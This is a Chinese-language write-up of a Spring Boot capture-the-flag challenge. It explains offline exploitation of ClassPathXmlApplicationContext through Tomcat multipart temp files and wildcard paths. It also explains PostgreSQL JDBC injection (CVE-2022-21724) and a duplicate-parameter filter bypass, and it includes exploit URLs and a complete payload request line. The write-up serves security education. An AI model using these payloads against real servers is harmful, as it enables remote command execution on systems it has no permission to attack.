Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用

我在《Java利用无外网(上):从HertzBeat聊聊SnakeYAML反序列化》末尾留了一个问题,也是「代码审计知识星球」里发布的Springboot Code-Breaking 2025小挑战的核心考点:https://t.zsxq.com/tSBBZ,代码如下:

@Controller
public class IndexController {
    @ResponseBody
    @RequestMapping("/index")
    public String index(String name, String arg) throws Exception {
        Class<?> clazz = Class.forName(name);
        Constructor<?> constructor = clazz.getConstructor(String.class);
        Object instance = constructor.newInstance(arg);
        return "done";
    }
}

用户可以输入一个类名和一个字符串类型的参数,并执行这个类的构造函数。我们很容易想到下面这两个类:

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

这两个类是Spring中用于加载XML格式配置文件的类,由于其中可以实例化对象、调用静态方法,通常会作为漏洞利用的一个重要利用链。不过这两个类只能加载URL,无法直接将XML传入,我们通常认为需要加载远程XML文件,或者先通过本地写文件才能利用。

事实真的如此吗?

我们可以跟进一下ClassPathXmlApplicationContext这个类的构造函数,看看它内部究竟做了些什么。

0x01 URL解析过程

ClassPathXmlApplicationContext所有的构造函数最后都会进入下面这个构造函数中:

public ClassPathXmlApplicationContext(
        String[] configLocations, boolean refresh, @Nullable ApplicationContext parent)
        throws BeansException {

    super(parent);
    setConfigLocations(configLocations);
    if (refresh) {
        refresh();
    }
}

两个函数比较重要,setConfigLocations()refresh()。前者用于将URL设置到当前对象中,后者用于刷新Spring配置。也就是说,最后执行任意命令,一定是在refresh()函数中。

如果跟进setConfigLocations(),最后会进入org.springframework.util.PropertyPlaceholderHelper#parseStringValue这个函数中:

image.png

如果你调试过,你会注意到这个${,很明显这里对路径进行了一次环境变量的解析。不过很可惜的是,这里是使用了简单的字符串替换,并不涉及到EL或SpEL表达式的执行。

继续单步调试进入refresh()函数中,我们最终会进入另一个很重要的函数org.springframework.core.io.support.PathMatchingResourcePatternResolver#getResources

public Resource[] getResources(String locationPattern) throws IOException {
    Assert.notNull(locationPattern, "Location pattern must not be null");
    if (locationPattern.startsWith("classpath*:")) {
        return this.getPathMatcher().isPattern(locationPattern.substring("classpath*:".length())) ? this.findPathMatchingResources(locationPattern) : this.findAllClassPathResources(locationPattern.substring("classpath*:".length()));
    } else {
        int prefixEnd = locationPattern.startsWith("war:") ? locationPattern.indexOf("*/") + 1 : locationPattern.indexOf(58) + 1;
        return this.getPathMatcher().isPattern(locationPattern.substring(prefixEnd)) ? this.findPathMatchingResources(locationPattern) : new Resource[]{this.getResourceLoader().getResource(locationPattern)};
    }
}

locationPattern是用户传入的url,在处理路径前会经过isPattern()的判断,如果返回是true,则会进入this.findPathMatchingResources(locationPattern)的处理,否则就直接读取资源。

查看isPattern方法可以发现,“pattern”指的其实就是通配符:

public boolean isPattern(@Nullable String path) {
    if (path == null) {
        return false;
    } else {
        boolean uriVar = false;

        for(int i = 0; i < path.length(); ++i) {
            char c = path.charAt(i);
            if (c == '*' || c == '?') {
                return true;
            }

            if (c == '{') {
                uriVar = true;
            } else if (c == '}' && uriVar) {
                return true;
            }
        }

        return false;
    }
}

也就是说,url中是支持使用通配符的。

那么这个问题就比较有意思了。还记得我在《无字母数字webshell之提高篇》我提到了PHP中的一个利用技巧:PHP上传文件时,文件将被保存在一个随机字符串命名的临时文件中。我们最后使用通配符的方式构造了一个Webshell,?><?=`. /???/????????[@-[]`;?>,然后通过上传来利用:

image.png

Tomcat也有类似的行为,当其接收到multipart/form-data的请求时,会将每个multipart块依次保存在临时目录下,文件名为upload_<GUID>_<number>.tmp。其中,<GUID>是和当前进程唯一相关的一个uuid,<number>是一个自增的序列号。

我们通过Process Monitor也可以看到这个临时文件创建和销毁的过程:

image.png

与PHP唯一不同的是,Tomcat不会只把文件上传文件内容保存在临时文件中,而是将任意Multipart的块都保存在临时文件。所以,我们可以直接参考PHP中的方法,通过一个上传数据包+通配符来加载临时文件,成功执行任意命令:

image.png

0x02 优化POC

不过,上面这个请求还有些不完美,对于不同方式启动的Tomcat,这个临时文件的位置不尽相同。阅读Tomcat代码我们可以发现,这个临时文件所在的位置应该位于Tomcat安装目录下的work目录下。

但对于单文件Springboot来说,此时Tomcat是嵌入式的并不存在安装目录,所以此时临时文件将会存储在系统临时目录下的一个子目录中的work目录下,比如上面图中的C:\Users\anywhere\AppData\Local\Temp\tomcat.8080.6671401320415070416

那么我们是否可以写出一个适配所有环境的Payload?

还记得前面说的setConfigLocations()函数吗,传入ClassPathXmlApplicationContext的URL将会渲染一次环境变量,${catalina.home}这个环境变量就指向Tomcat的安装目录,直接使用这个变量就可以避免环境差异导致的问题:

image.png

另外,我们可以借助Java Chains来生成一个支持回显的XML Payload:

image.png

成功返回命令执行结果:

image.png

0x03 知识星球小挑战预期解

回到我在知识星球里发布的小挑战,由于题目完全开源,很容易发现这是一个JDBC注入的问题,但通过Security Manager的方式限制的发起Socket连接:

@Controller
public class IndexController {

    @ResponseBody
    @RequestMapping("/jdbc")
    public String jdbc(String url) {
        try {
            System.setSecurityManager(new ForbiddenNetworkAccessSecurityManager());

            DriverManager.getConnection(url);

        } catch (Exception e) {
            StringWriter sw = new StringWriter();
            e.printStackTrace(new PrintWriter(sw));
            return sw.toString();
        }
        return "done.";
    }

}

查看pom.xml可以看到只安装了org.postgresql:postgresql依赖,且版本号在CVE-2022-21724漏洞影响的范围内。

我们在互联网上可以直接找到利用的POC:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

就是利用org.springframework.context.support.ClassPathXmlApplicationContext这个类进行攻击,所以,直接使用本文介绍的方法构造数据包发送:

image.png

没有成功,目标返回了403,错误信息是url is not security

搜索这个错误信息会发现,原来是有一个全局的filter限制了url参数中的关键字“jdbc:postgresql”和“socketFactory”不允许同时出现:

public class SecurityFilter extends OncePerRequestFilter implements Order {
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
        String url = request.getParameter("url");
        if (url != null) {
            if (url.toLowerCase().contains("jdbc:postgresql") && url.toLowerCase().contains("socketFactory".toLowerCase())) {
                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
                response.getWriter().write("url is not security");
                return;
            }
        }
        filterChain.doFilter(request, response);
    }

    // ...
}

解决这个问题的方法是使用差异。在filter中,获取url参数的方法是request.getParameter("url"),当一次请求中有多个参数名字都是url时,它获取到的结果是第一个url的值。

image.png

而在Springboot的Controller中获取到的url将是所有url参数以逗号,作为连接符拼接成的完整字符串:

image.png

所以,通过将url分拆成多个部分,我们就可以绕过filter对于URL的检测:

POST /jdbc?url=jdbc:postgresql://1:2/?a=&url=%26socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=file:/%24%7bcatalina.home%7d/**/*.tmp

成功执行任意命令:

image.png

0x04 知识星球小挑战非预期解

除了本文介绍的预期解以外,代码审计星球的@No2Cat 师傅向我提交了他利用ascii jar的解法,我也一并介绍一下。

psql的CVE-2022-21724漏洞,除了利用socketFactory来执行命令以外,还可以利用loggerFile参数来写入任意文件。但loggerFile参数写入的文件前后都会包含脏字符:

image.png

如果当前环境是一个普通Tomcat,这里就可以直接写jsp了,但是我们的环境是Springboot,写文件后仍然需要通过ClassPathXmlApplicationContext来利用。ClassPathXmlApplicationContext加载XML文件的时候不能够有脏字符,所以普通日志文件无法直接加载。

要绕过这个脏字符的限制,我们可以将真正要加载的XML文件打包并写入成一个zip格式的压缩包,然后使用jar:/path/to/payload.zip!/META-INF/resources/poc.xml这样的URL进行加载,此时就可以避免脏字符的干扰。

我曾在代码审计星球发过几个帖子介绍了如何构造一个前后都包含脏字符但又合法的jar包:

不过由于org.postgresql.util.URLCoder#decode解析JDBC URL的时候遇到非ascii字节会报错,这里还需要再进行一遍转换。@No2Cat 利用@c0ny1 师傅写的脚本ascii-jar,生成只包含ascii字符的jar包,再利用PaddingZip修复一下即可成功完成利用。

除了@No2Cat 的非预期解法以外,@你开心就好 师傅利用爆破fd文件的方式也成功拿到shell,也算一种非预期解法。

0x05 致谢

【代码审计星球】这次Code-Breaking 2025顺利完成且收集到了多个同学的反馈,包括预期和非预期解答,也让我学到了很多新知识。我分享一下时间线,包括所有参与过出题、解题或提供思路的同学:

  • 4月4日 - @Ar3h 原创了题目、代码和解决方法。最初的解决方法是通过两个线程,A上传写临时文件,B利用ClassPathXmlApplicationContext+通配符的方式读取文件并执行命令
  • 4月6日 - @phith0n 我略微改进了Payload,利用《无字母数字webshell之提高篇》提到的方法将利用过程合并成一个请求。并准备了docker环境,在星球发布Code-Breaking 2025挑战
  • 4月7日 - @No2Cat 首位提交答案及writeup(利用ascii jar的非预期解)
  • 4月10日 - @珂字辈 首位利用预期解拿到shell
  • 4月10日 - @whwlsfb 预期解拿到shell,并提出本文介绍的利用环境变量优化POC的方法
  • 4月10日 - @你开心就好 利用爆破fd的方法拿到shell(非预期解)

这篇文章中提到的各种技巧,包括预期、非预期解法,由所有的上述同学贡献而成,尤其是@Ar3h。由于本文集成了数人的研究成果,可能有所遗漏,或者我理解不到位导致的错误,存在问题的地方还请向我反馈。

赞赏

喜欢这篇文章?打赏1元

评论

captcha